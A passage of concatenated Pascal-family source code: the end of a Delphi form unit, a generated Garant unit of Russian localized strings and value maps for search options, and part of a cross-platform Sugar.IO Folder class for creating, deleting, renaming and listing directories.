(Key <= 122) and (Key <> 35) and (Key <> 36) and not ((Key >= 37) and (Key <= 40)) then if( Length((Sender as TEdit).Text) = (Sender as TEdit).MaxLength) then SelectNext(Sender as TWidgetControl, true, true); end; procedure TfrmDepartamentos.FormCreate(Sender: TObject); begin RecuperaConfig; end; end.
unit nsAppConfigRes; //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // // Библиотека "Config" // Автор: Люлин А.В. // Модуль: "w:/garant6x/implementation/Garant/GbaNemesis/Config/nsAppConfigRes.pas" // Начат: 10.03.2010 17:49 // Родные Delphi интерфейсы (.pas) // Generated from UML model, root element: <<UtilityPack::Class>> F1 Основные прецеденты::Settings::Config::Config::nsAppConfigRes // // Ресурсы для nsAppConfig // // // Все права принадлежат ООО НПП "Гарант-Сервис". // //////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// // ! Полностью генерируется с модели. Править руками - нельзя. ! {$Include w:\garant6x\implementation\Garant\nsDefine.inc} interface {$If not defined(Admin) AND not defined(Monitorings)} uses l3Interfaces, afwInterfaces, l3CProtoObject, l3StringIDEx ; var { Локализуемые строки WordPositionNames } str_nsc_wpAnyPathWord : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_wpAnyPathWord'; rValue : 'В любой части слова'); { 'В любой части слова' } str_nsc_wpAtBeginWord : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_wpAtBeginWord'; rValue : 'С начала слова'); { 'С начала слова' } str_nsc_wpAtBeginString : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_wpAtBeginString'; rValue : 'С начала строки'); { 'С начала строки' } const { Карта преобразования локализованных строк WordPositionNames } WordPositionNamesMap : array [Tl3WordPosition] of Pl3StringIDEx = ( @str_nsc_wpAnyPathWord , @str_nsc_wpAtBeginWord , @str_nsc_wpAtBeginString );//WordPositionNamesMap type WordPositionNamesMapHelper = {final} class {* Утилитный класс для преобразования значений WordPositionNamesMap } public // public methods class procedure FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } class function DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordPosition; {* Преобразование строкового значения к порядковому } end;//WordPositionNamesMapHelper TWordPositionNamesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap) {* Класс для реализации мапы для WordPositionNamesMap } protected // realized methods function pm_GetMapID: Tl3ValueMapID; procedure GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } function MapSize: Integer; {* количество элементов в мапе. } function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; public // public methods class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordPositionNamesMapImplPrim } end;//TWordPositionNamesMapImplPrim TWordPositionNamesMapImpl = {final} class(TWordPositionNamesMapImplPrim) {* Класс для реализации мапы для WordPositionNamesMap } public // public methods class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordPositionNamesMapImpl } end;//TWordPositionNamesMapImpl var { Локализуемые строки TreeLevelDistNames } str_nsc_tldAllLevels : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_tldAllLevels'; rValue : 'Во всех уровнях'); { 'Во всех уровнях' } str_nsc_tldOneLevel : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_tldOneLevel'; rValue : 'В пределах одного уровня'); { 'В пределах одного уровня' } const { Карта преобразования локализованных строк TreeLevelDistNames } TreeLevelDistNamesMap : array [Tl3TreeLevelDist] of Pl3StringIDEx = ( @str_nsc_tldAllLevels , @str_nsc_tldOneLevel );//TreeLevelDistNamesMap type TreeLevelDistNamesMapHelper = {final} class {* Утилитный класс для преобразования значений TreeLevelDistNamesMap } public // public methods class procedure FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } class function DisplayNameToValue(const aDisplayName: Il3CString): Tl3TreeLevelDist; {* Преобразование строкового значения к порядковому } end;//TreeLevelDistNamesMapHelper TTreeLevelDistNamesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap) {* Класс для реализации мапы для TreeLevelDistNamesMap } protected // realized methods function pm_GetMapID: Tl3ValueMapID; procedure GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } function MapSize: Integer; {* количество элементов в мапе. } function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; public // public methods class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TTreeLevelDistNamesMapImplPrim } end;//TTreeLevelDistNamesMapImplPrim TTreeLevelDistNamesMapImpl = {final} class(TTreeLevelDistNamesMapImplPrim) {* Класс для реализации мапы для TreeLevelDistNamesMap } public // public methods class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TTreeLevelDistNamesMapImpl } end;//TTreeLevelDistNamesMapImpl var { Локализуемые строки WordOrderNames } str_nsc_woAnyOrder : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_woAnyOrder'; rValue : 'В любом порядке'); { 'В любом порядке' } str_nsc_woAsWrote : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_woAsWrote'; rValue : 'С учетом порядка'); { 'С учетом порядка' } const { Карта преобразования локализованных строк WordOrderNames } WordOrderNamesMap : array [Tl3WordOrder] of Pl3StringIDEx = ( @str_nsc_woAnyOrder , @str_nsc_woAsWrote );//WordOrderNamesMap type WordOrderNamesMapHelper = {final} class {* Утилитный класс для преобразования значений WordOrderNamesMap } public // public methods class procedure FillStrings(const aStrings: IafwStrings); {* Заполнение списка строк значениями } class function DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordOrder; {* Преобразование строкового значения к порядковому } end;//WordOrderNamesMapHelper TWordOrderNamesMapImplPrim = {abstract} class(Tl3CProtoObject, Il3IntegerValueMap) {* Класс для реализации мапы для WordOrderNamesMap } protected // realized methods function pm_GetMapID: Tl3ValueMapID; procedure GetDisplayNames(const aList: Il3StringsEx); {* заполняет список значениями "UI-строка" } function MapSize: Integer; {* количество элементов в мапе. } function DisplayNameToValue(const aDisplayName: Il3CString): Integer; function ValueToDisplayName(aValue: Integer): Il3CString; public // public methods class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordOrderNamesMapImplPrim } end;//TWordOrderNamesMapImplPrim TWordOrderNamesMapImpl = {final} class(TWordOrderNamesMapImplPrim) {* Класс для реализации мапы для WordOrderNamesMap } public // public methods class function Make: Il3IntegerValueMap; reintroduce; {* Фабричный метод для TWordOrderNamesMapImpl } end;//TWordOrderNamesMapImpl var { Локализуемые строки ContextParamsMessages } str_nsc_cpmTreeLevelDistHint : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_cpmTreeLevelDistHint'; rValue : 'Находятся ли искомые слова на разных уровнях иерархического дерева или в пределах одного уровня'); { 'Находятся ли искомые слова на разных уровнях иерархического дерева или в пределах одного уровня' } str_nsc_cpmWordOrderHint : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_cpmWordOrderHint'; rValue : 'Должны ли слова строго следовать друг за другом или нет'); { 'Должны ли слова строго следовать друг за другом или нет' } str_nsc_cpmWordPositionHint : Tl3StringIDEx = (rS : -1; rLocalized : false; rKey : 'nsc_cpmWordPositionHint'; rValue : 'Положение контекста в слове, строке'); { 'Положение контекста в слове, строке' } {$IfEnd} //not Admin AND not Monitorings implementation {$If not defined(Admin) AND not defined(Monitorings)} uses l3MessageID, l3String, SysUtils, l3Base ; // start class WordPositionNamesMapHelper class procedure WordPositionNamesMapHelper.FillStrings(const aStrings: IafwStrings); var l_Index: Tl3WordPosition; begin aStrings.Clear; for l_Index := Low(l_Index) to High(l_Index) do aStrings.Add(WordPositionNamesMap[l_Index].AsCStr); end;//WordPositionNamesMapHelper.FillStrings class function WordPositionNamesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordPosition; var l_Index: Tl3WordPosition; begin for l_Index := Low(l_Index) to High(l_Index) do if l3Same(aDisplayName, WordPositionNamesMap[l_Index].AsCStr) then begin Result := l_Index; Exit; end;//l3Same.. raise Exception.CreateFmt('Display name "%s" not found in map "WordPositionNamesMap"', [l3Str(aDisplayName)]); end;//WordPositionNamesMapHelper.DisplayNameToValue // start class TWordPositionNamesMapImplPrim class function TWordPositionNamesMapImplPrim.Make: Il3IntegerValueMap; var l_Inst : TWordPositionNamesMapImplPrim; begin l_Inst := Create; try Result := l_Inst; finally l_Inst.Free; end;//try..finally end; function TWordPositionNamesMapImplPrim.pm_GetMapID: Tl3ValueMapID; {-} begin l3FillChar(Result, SizeOf(Result)); Assert(false); end;//TWordPositionNamesMapImplPrim.pm_GetMapID procedure TWordPositionNamesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx); {-} begin WordPositionNamesMapHelper.FillStrings(aList); end;//TWordPositionNamesMapImplPrim.GetDisplayNames function TWordPositionNamesMapImplPrim.MapSize: Integer; {-} begin Result := Ord(High(Tl3WordPosition)) - Ord(Low(Tl3WordPosition)); end;//TWordPositionNamesMapImplPrim.MapSize function TWordPositionNamesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer; {-} begin Result := Ord(WordPositionNamesMapHelper.DisplayNameToValue(aDisplayName)); end;//TWordPositionNamesMapImplPrim.DisplayNameToValue function TWordPositionNamesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString; {-} begin Assert(aValue >= Ord(Low(Tl3WordPosition))); Assert(aValue <= Ord(High(Tl3WordPosition))); Result := WordPositionNamesMap[Tl3WordPosition(aValue)].AsCStr; end;//TWordPositionNamesMapImplPrim.ValueToDisplayName // start class TWordPositionNamesMapImpl var g_TWordPositionNamesMapImpl : Pointer = nil; procedure TWordPositionNamesMapImplFree; begin IUnknown(g_TWordPositionNamesMapImpl) := nil; end; class function TWordPositionNamesMapImpl.Make: Il3IntegerValueMap; begin if (g_TWordPositionNamesMapImpl = nil) then begin l3System.AddExitProc(TWordPositionNamesMapImplFree); Il3IntegerValueMap(g_TWordPositionNamesMapImpl) := inherited Make; end; Result := Il3IntegerValueMap(g_TWordPositionNamesMapImpl); end; // start class TreeLevelDistNamesMapHelper class procedure TreeLevelDistNamesMapHelper.FillStrings(const aStrings: IafwStrings); var l_Index: Tl3TreeLevelDist; begin aStrings.Clear; for l_Index := Low(l_Index) to High(l_Index) do aStrings.Add(TreeLevelDistNamesMap[l_Index].AsCStr); end;//TreeLevelDistNamesMapHelper.FillStrings class function TreeLevelDistNamesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Tl3TreeLevelDist; var l_Index: Tl3TreeLevelDist; begin for l_Index := Low(l_Index) to High(l_Index) do if l3Same(aDisplayName, TreeLevelDistNamesMap[l_Index].AsCStr) then begin Result := l_Index; Exit; end;//l3Same.. raise Exception.CreateFmt('Display name "%s" not found in map "TreeLevelDistNamesMap"', [l3Str(aDisplayName)]); end;//TreeLevelDistNamesMapHelper.DisplayNameToValue // start class TTreeLevelDistNamesMapImplPrim class function TTreeLevelDistNamesMapImplPrim.Make: Il3IntegerValueMap; var l_Inst : TTreeLevelDistNamesMapImplPrim; begin l_Inst := Create; try Result := l_Inst; finally l_Inst.Free; end;//try..finally end; function TTreeLevelDistNamesMapImplPrim.pm_GetMapID: Tl3ValueMapID; {-} begin l3FillChar(Result, SizeOf(Result)); Assert(false); end;//TTreeLevelDistNamesMapImplPrim.pm_GetMapID procedure TTreeLevelDistNamesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx); {-} begin TreeLevelDistNamesMapHelper.FillStrings(aList); end;//TTreeLevelDistNamesMapImplPrim.GetDisplayNames function TTreeLevelDistNamesMapImplPrim.MapSize: Integer; {-} begin Result := Ord(High(Tl3TreeLevelDist)) - Ord(Low(Tl3TreeLevelDist)); end;//TTreeLevelDistNamesMapImplPrim.MapSize function TTreeLevelDistNamesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer; {-} begin Result := Ord(TreeLevelDistNamesMapHelper.DisplayNameToValue(aDisplayName)); end;//TTreeLevelDistNamesMapImplPrim.DisplayNameToValue function TTreeLevelDistNamesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString; {-} begin Assert(aValue >= Ord(Low(Tl3TreeLevelDist))); Assert(aValue <= Ord(High(Tl3TreeLevelDist))); Result := TreeLevelDistNamesMap[Tl3TreeLevelDist(aValue)].AsCStr; end;//TTreeLevelDistNamesMapImplPrim.ValueToDisplayName // start class TTreeLevelDistNamesMapImpl var g_TTreeLevelDistNamesMapImpl : Pointer = nil; procedure TTreeLevelDistNamesMapImplFree; begin IUnknown(g_TTreeLevelDistNamesMapImpl) := nil; end; class function TTreeLevelDistNamesMapImpl.Make: Il3IntegerValueMap; begin if (g_TTreeLevelDistNamesMapImpl = nil) then begin l3System.AddExitProc(TTreeLevelDistNamesMapImplFree); Il3IntegerValueMap(g_TTreeLevelDistNamesMapImpl) := inherited Make; end; Result := Il3IntegerValueMap(g_TTreeLevelDistNamesMapImpl); end; // start class WordOrderNamesMapHelper class procedure WordOrderNamesMapHelper.FillStrings(const aStrings: IafwStrings); var l_Index: Tl3WordOrder; begin aStrings.Clear; for l_Index := Low(l_Index) to High(l_Index) do aStrings.Add(WordOrderNamesMap[l_Index].AsCStr); end;//WordOrderNamesMapHelper.FillStrings class function WordOrderNamesMapHelper.DisplayNameToValue(const aDisplayName: Il3CString): Tl3WordOrder; var l_Index: Tl3WordOrder; begin for l_Index := Low(l_Index) to High(l_Index) do if l3Same(aDisplayName, WordOrderNamesMap[l_Index].AsCStr) then begin Result := l_Index; Exit; end;//l3Same.. raise Exception.CreateFmt('Display name "%s" not found in map "WordOrderNamesMap"', [l3Str(aDisplayName)]); end;//WordOrderNamesMapHelper.DisplayNameToValue // start class TWordOrderNamesMapImplPrim class function TWordOrderNamesMapImplPrim.Make: Il3IntegerValueMap; var l_Inst : TWordOrderNamesMapImplPrim; begin l_Inst := Create; try Result := l_Inst; finally l_Inst.Free; end;//try..finally end; function TWordOrderNamesMapImplPrim.pm_GetMapID: Tl3ValueMapID; {-} begin l3FillChar(Result, SizeOf(Result)); Assert(false); end;//TWordOrderNamesMapImplPrim.pm_GetMapID procedure TWordOrderNamesMapImplPrim.GetDisplayNames(const aList: Il3StringsEx); {-} begin WordOrderNamesMapHelper.FillStrings(aList); end;//TWordOrderNamesMapImplPrim.GetDisplayNames function TWordOrderNamesMapImplPrim.MapSize: Integer; {-} begin Result := Ord(High(Tl3WordOrder)) - Ord(Low(Tl3WordOrder)); end;//TWordOrderNamesMapImplPrim.MapSize function TWordOrderNamesMapImplPrim.DisplayNameToValue(const aDisplayName: Il3CString): Integer; {-} begin Result := Ord(WordOrderNamesMapHelper.DisplayNameToValue(aDisplayName)); end;//TWordOrderNamesMapImplPrim.DisplayNameToValue function TWordOrderNamesMapImplPrim.ValueToDisplayName(aValue: Integer): Il3CString; {-} begin Assert(aValue >= Ord(Low(Tl3WordOrder))); Assert(aValue <= Ord(High(Tl3WordOrder))); Result := WordOrderNamesMap[Tl3WordOrder(aValue)].AsCStr; end;//TWordOrderNamesMapImplPrim.ValueToDisplayName // start class TWordOrderNamesMapImpl var g_TWordOrderNamesMapImpl : Pointer = nil; procedure TWordOrderNamesMapImplFree; begin IUnknown(g_TWordOrderNamesMapImpl) := nil; end; class function TWordOrderNamesMapImpl.Make: Il3IntegerValueMap; begin if (g_TWordOrderNamesMapImpl = nil) then begin l3System.AddExitProc(TWordOrderNamesMapImplFree); Il3IntegerValueMap(g_TWordOrderNamesMapImpl) := inherited Make; end; Result := Il3IntegerValueMap(g_TWordOrderNamesMapImpl); end; {$IfEnd} //not Admin AND not Monitorings initialization {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_wpAnyPathWord str_nsc_wpAnyPathWord.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_wpAtBeginWord str_nsc_wpAtBeginWord.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_wpAtBeginString str_nsc_wpAtBeginString.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_tldAllLevels str_nsc_tldAllLevels.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_tldOneLevel str_nsc_tldOneLevel.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_woAnyOrder str_nsc_woAnyOrder.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_woAsWrote str_nsc_woAsWrote.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_cpmTreeLevelDistHint str_nsc_cpmTreeLevelDistHint.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_cpmWordOrderHint str_nsc_cpmWordOrderHint.Init; {$IfEnd} //not Admin AND not Monitorings {$If not defined(Admin) AND not defined(Monitorings)} // Инициализация str_nsc_cpmWordPositionHint str_nsc_cpmWordPositionHint.Init; {$IfEnd} //not Admin AND not Monitorings end.
namespace Sugar.IO; interface uses {$IF WINDOWS_PHONE OR NETFX_CORE} System.IO, {$ELSEIF COOPER} {$ELSEIF ECHOES} {$ELSEIF TOFFEE} {$ENDIF} Sugar, {$IF COOPER} com.remobjects.elements.linq, {$ENDIF} Sugar.Collections; type Folder = public class mapped to {$IF WINDOWS_PHONE OR NETFX_CORE}Windows.Storage.StorageFolder{$ELSEIF ECHOES}System.String{$ELSEIF COOPER}java.lang.String{$ELSEIF TOFFEE}Foundation.NSString{$ENDIF} private class method GetSeparator: Char; {$IF COOPER} property JavaFile: java.io.File read new java.io.File(mapped); {$ELSEIF TOFFEE} method Combine(BasePath: String; SubPath: String): String; {$ENDIF} method DoGetFiles(aFolder: Folder; aList: List<File>); public constructor(aPath: not nullable String); method Exists: Boolean; // Workaround for 74547: Mapped types: static methods can be called with class type as parameter method Create(FailIfExists: Boolean := false); method CreateFile(FileName: String; FailIfExists: Boolean := false): File; method CreateSubfolder(SubfolderName: String; FailIfExists: Boolean := false): Folder; method Delete; method Rename(NewName: String): Folder; method GetFile(FileName: String): File; method GetFiles: not nullable List<File>; method GetFiles(aRecursive: Boolean): not nullable List<File>; method GetSubfolders: not nullable List<Folder>; class method Create(FolderName: Folder; FailIfExists: Boolean := false): Folder; class method Delete(FolderName: Folder); class method Exists(FolderName: Folder): Boolean; class method GetFiles(FolderName: Folder; aRecursive: Boolean := false): not nullable List<File>; class method GetSubfolders(FolderName: Folder): not nullable List<Folder>; class method UserHomeFolder: Folder; class property Separator: Char read GetSeparator; {$IF WINDOWS_PHONE OR NETFX_CORE} property FullPath: not nullable String read mapped.Path; property Name: not nullable String read mapped.Name; {$ELSE} property FullPath: not nullable String read mapped; property Name: not nullable String read Sugar.IO.Path.GetFileName(mapped); {$ENDIF} property &Extension: not nullable String read Sugar.IO.Path.GetExtension(FullPath); end; {$IF COOPER OR TOFFEE} FolderHelper = public static class public {$IF COOPER}method DeleteFolder(Value: java.io.File);{$ENDIF} {$IF TOFFEE}method IsDirectory(Value: String): Boolean;{$ENDIF} end; {$ELSEIF WINDOWS_PHONE OR NETFX_CORE} FolderHelper = public static class public method GetFile(Folder: Windows.Storage.StorageFolder; FileName: String): Windows.Storage.StorageFile; method GetFolder(Folder: Windows.Storage.StorageFolder; FolderName: String): Windows.Storage.StorageFolder; end; {$ENDIF} {$IF WINDOWS_PHONE OR NETFX_CORE} extension method Windows.Foundation.IAsyncOperation<TResult>.Await<TResult>: TResult; {$ENDIF} implementation constructor Folder(aPath: not nullable String); begin {$IF WINDOWS_PHONE OR NETFX_CORE} exit Windows.Storage.StorageFolder.GetFolderFromPathAsync(aPath).Await; {$ELSE} exit Folder(aPath); {$ENDIF} end; class method Folder.Exists(FolderName: Folder): Boolean; begin result := FolderName.Exists; end; class method Folder.GetFiles(FolderName: Folder; aRecursive: Boolean := false): not nullable List<File>; begin result := if aRecursive then FolderName.GetFiles(true) else FolderName.GetFiles(); // latter is optimized end; class method Folder.GetSubfolders(FolderName: Folder): not nullable List<Folder>; begin result := FolderName.GetSubfolders(); end; method Folder.CreateSubfolder(SubfolderName: String; FailIfExists: Boolean := false): Folder; begin result := new Folder(Sugar.IO.Path.Combine(self.FullPath, SubfolderName)); result.Create(FailIfExists); end; class method Folder.Create(FolderName: Folder; FailIfExists: Boolean := false): Folder; begin result := Folder(FolderName); result.Create(FailIfExists); end; class method Folder.Delete(FolderName: Folder); begin FolderName.Delete(); end; method Folder.DoGetFiles(aFolder: Folder; aList: List<File>); begin aList.AddRange(aFolder.GetFiles); for each f in aFolder.GetSubFolders() do DoGetFiles(f, aList); end; method Folder.GetFiles(aRecursive: Boolean): not nullable List<File>; begin if not aRecursive then exit GetFiles(); result := new List<File>(); DoGetFiles(self, result) end; {$IF WINDOWS_PHONE OR NETFX_CORE} class method FolderHelper.GetFile(Folder: Windows.Storage.StorageFolder; FileName: String): Windows.Storage.StorageFile; begin SugarArgumentNullException.RaiseIfNil(Folder, "Folder"); SugarArgumentNullException.RaiseIfNil(FileName, "FileName"); try exit Folder.GetFileAsync(FileName).Await; except exit nil; end; end; class method FolderHelper.GetFolder(Folder: Windows.Storage.StorageFolder; FolderName: String): Windows.Storage.StorageFolder; begin SugarArgumentNullException.RaiseIfNil(Folder, "Folder"); SugarArgumentNullException.RaiseIfNil(FolderName, "FolderName"); try exit Folder.GetFolderAsync(FolderName).Await; except exit nil; end; end; class method Folder.GetSeparator: Char; begin exit '\'; end; class method Folder.UserHomeFolder: Folder; begin exit Windows.Storage.ApplicationData.Current.LocalFolder; end; method Folder.CreateFile(FileName: String; FailIfExists: Boolean := false): File; begin exit mapped.CreateFileAsync(FileName, iif(FailIfExists, Windows.Storage.CreationCollisionOption.FailIfExists, Windows.Storage.CreationCollisionOption.OpenIfExists)).Await; end; method Folder.Exists(): Boolean; begin // WP8 API - best API try var item := Windows.Storage.ApplicationData.Current.LocalFolder.GetItemAsync(mapped.Name).Await(); exit assigned(item); except exit false; end; end; method Folder.Create(FailIfExists: Boolean := false); begin mapped.CreateFolderAsync(self.FullPath, iif(FailIfExists, Windows.Storage.CreationCollisionOption.FailIfExists, Windows.Storage.CreationCollisionOption.OpenIfExists)).Await(); end; method Folder.Delete; begin mapped.DeleteAsync.AsTask.Wait; end; method Folder.GetFile(FileName: String): File; begin exit FolderHelper.GetFile(mapped, FileName); end; method Folder.GetFiles: not nullable List<File>; begin var files := mapped.GetFilesAsync.Await; result := new List<File>(); for i: Integer := 0 to files.Count-1 do result.Add(File(files.Item[i])); end; method Folder.GetSubfolders: not nullable List<Folder>; begin var folders := mapped.GetFoldersAsync.Await; result := new List<Folder>(); for i: Integer := 0 to folders.Count-1 do result.Add(Folder(folders.Item[i])); end; method Folder.Rename(NewName: String): Folder; begin mapped.RenameAsync(NewName, Windows.Storage.NameCollisionOption.FailIfExists).AsTask().Wait(); end; extension method Windows.Foundation.IAsyncOperation<TResult>.&Await<TResult>: TResult; begin exit self.AsTask.Result; end; {$ELSEIF ECHOES} class method Folder.GetSeparator: Char; begin exit System.IO.Path.DirectorySeparatorChar; end; class method Folder.UserHomeFolder: Folder; begin exit Folder(System.Environment.GetFolderPath(System.Environment.SpecialFolder.UserProfile)); end; method Folder.CreateFile(FileName: String; FailIfExists: Boolean := false): File; begin var NewFileName := System.IO.Path.Combine(mapped, FileName); if System.IO.File.Exists(NewFileName) then begin if FailIfExists then raise new SugarIOException(ErrorMessage.FILE_EXISTS, FileName); exit NewFileName; end; var fs := System.IO.File.Create(NewFileName); fs.Close; exit NewFileName; end; method Folder.Exists: Boolean; begin result := System.IO.Directory.Exists(mapped); end; method Folder.Create(FailIfExists: Boolean := false); begin if System.IO.Directory.Exists(mapped) then begin if FailIfExists then raise new SugarIOException(ErrorMessage.FOLDER_EXISTS, mapped); end else begin System.IO.Directory.CreateDirectory(mapped); end; end; method Folder.Delete; begin System.IO.Directory.Delete(mapped, true); end; method Folder.GetFile(FileName: String): File; begin var ExistingFileName := System.IO.Path.Combine(mapped, FileName); if System.IO.File.Exists(ExistingFileName) then exit ExistingFileName; exit nil; end; method Folder.GetFiles: not nullable List<File>; begin result := new List<File>(System.IO.Directory.GetFiles(mapped)); end; method Folder.GetSubfolders: not nullable List<Folder>; begin result := new List<Folder>(System.IO.Directory.GetDirectories(mapped)); end; method Folder.Rename(NewName: String): Folder; begin var TopLevel := System.IO.Path.GetDirectoryName(mapped); var FolderName := System.IO.Path.Combine(TopLevel, NewName); if System.IO.Directory.Exists(FolderName) then raise new SugarIOException(ErrorMessage.FOLDER_EXISTS, NewName); System.IO.Directory.Move(mapped, FolderName); result := FolderName; end; {$ELSEIF COOPER} method Folder.CreateFile(FileName: String; FailIfExists: Boolean := false): File; begin var lNewFile := new java.io.File(mapped, FileName); if lNewFile.exists then begin if FailIfExists then raise new SugarIOException(ErrorMessage.FILE_EXISTS, FileName); exit lNewFile.path; end else begin lNewFile.createNewFile; end; result := lNewFile.path; end; class method Folder.GetSeparator: Char; begin exit java.io.File.separatorChar; end; class method Folder.UserHomeFolder: Folder; begin {$IF ANDROID} SugarAppContextMissingException.RaiseIfMissing; exit Environment.ApplicationContext.FilesDir.AbsolutePath; {$ELSE} exit System.getProperty("user.home"); {$ENDIF} end; method Folder.Exists: Boolean; begin result := JavaFile.exists; end; method Folder.Create(FailIfExists: Boolean := false); begin var lFile := JavaFile; if lFile.exists then begin if FailIfExists then raise new SugarIOException(ErrorMessage.FOLDER_EXISTS, mapped); exit; end else begin if not lFile.mkdir then raise new SugarIOException(ErrorMessage.FOLDER_CREATE_ERROR, mapped); end; end; class method FolderHelper.DeleteFolder(Value: java.io.File); begin if Value.isDirectory then begin var Items := Value.list; for Item in Items do DeleteFolder(new java.io.File(Value, Item)); if not Value.delete then raise new SugarIOException(ErrorMessage.FOLDER_DELETE_ERROR, Value.Name); end else if not Value.delete then raise new SugarIOException(ErrorMessage.FOLDER_DELETE_ERROR, Value.Name); end; method Folder.Delete; begin var lFile := JavaFile; if not lFile.exists then raise new SugarIOException(ErrorMessage.FOLDER_NOTFOUND, mapped); FolderHelper.DeleteFolder(lFile); end; method Folder.GetFile(FileName: String): File; begin var ExistingFile := new java.io.File(mapped, FileName); if not ExistingFile.exists then exit nil; exit ExistingFile.path; end; method Folder.GetFiles: not nullable List<File>; begin result := JavaFile.listFiles((f,n)->new java.io.File(f, n).isFile).Select(f->f.path).ToList() as not nullable; end; method Folder.GetSubfolders: not nullable List<Folder>; begin result := JavaFile.listFiles( (f,n) -> new java.io.File(f, n).isDirectory).Select(f -> f.Path).ToList() as not nullable; end; method Folder.Rename(NewName: String): Folder; begin var lFile := JavaFile; var NewFolder := new java.io.File(lFile.ParentFile, NewName); if NewFolder.exists then raise new SugarIOException(ErrorMessage.FOLDER_EXISTS, NewName); if not lFile.renameTo(NewFolder) then raise new SugarIOException(ErrorMessage.IO_RENAME_ERROR, mapped, NewName); result := NewName; end; {$ELSEIF TOFFEE} method Folder.CreateFile(FileName: String; FailIfExists: Boolean := false): File; begin var NewFileName := Combine(mapped, FileName); var Manager := NSFileManager.defaultManager; if Manager.fileExistsAtPath(NewFileName) then begin if FailIfExists then raise new SugarIOException(ErrorMessage.FILE_EXISTS, FileName); exit File(NewFileName); end; Manager.createFileAtPath(NewFileName) contents(nil) attributes(nil); exit File(NewFileName); end; class method Folder.GetSeparator: Char; begin exit '/'; end; class method Folder.UserHomeFolder: Folder; begin result := NSSearchPathForDirectoriesInDomains(NSSearchPathDirectory.NSApplicationSupportDirectory, NSSearchPathDomainMask.NSUserDomainMask, true).objectAtIndex(0); if not NSFileManager.defaultManager.fileExistsAtPath(result) then begin var lError: NSError := nil; if not NSFileManager.defaultManager.createDirectoryAtPath(result) withIntermediateDirectories(true) attributes(nil) error(var lError) then raise new SugarNSErrorException(lError); end; end; method Folder.Exists: Boolean; begin var isDirectory := false; result := NSFileManager.defaultManager.fileExistsAtPath(self) isDirectory(var isDirectory) and isDirectory; end; method Folder.Create(FailIfExists: Boolean := false); begin var isDirectory := false; if NSFileManager.defaultManager.fileExistsAtPath(mapped) isDirectory(var isDirectory) then begin if isDirectory and FailIfExists then raise new SugarIOException(ErrorMessage.FOLDER_EXISTS, mapped); if not isDirectory then raise new SugarIOException(ErrorMessage.FILE_EXISTS, mapped); end else begin var lError: NSError := nil; if not NSFileManager.defaultManager.createDirectoryAtPath(mapped) withIntermediateDirectories(true) attributes(nil) error(var lError) then raise new SugarNSErrorException(lError); end; end; method Folder.Delete; begin var lError: NSError := nil; if not NSFileManager.defaultManager.removeItemAtPath(mapped) error(var lError) then raise new SugarNSErrorException(lError); end; method Folder.GetFile(FileName: String): File; begin SugarArgumentNullException.RaiseIfNil(FileName, "FileName"); var ExistingFileName := Combine(mapped, FileName); if not NSFileManager.defaultManager.fileExistsAtPath(ExistingFileName) then exit nil; exit File(ExistingFileName); end; class method FolderHelper.IsDirectory(Value: String): Boolean; begin Foundation.NSFileManager.defaultManager.fileExistsAtPath(Value) isDirectory(@Result); end; method Folder.GetFiles: not nullable List<File>; begin result := new List<File>; var Items := NSFileManager.defaultManager.contentsOfDirectoryAtPath(mapped) error(nil); if Items = nil then exit; for i: Integer := 0 to Items.count - 1 do begin var item := Combine(mapped, Items.objectAtIndex(i)); if not FolderHelper.IsDirectory(item) then result.Add(File(item)); end; end; method Folder.GetSubfolders: not nullable 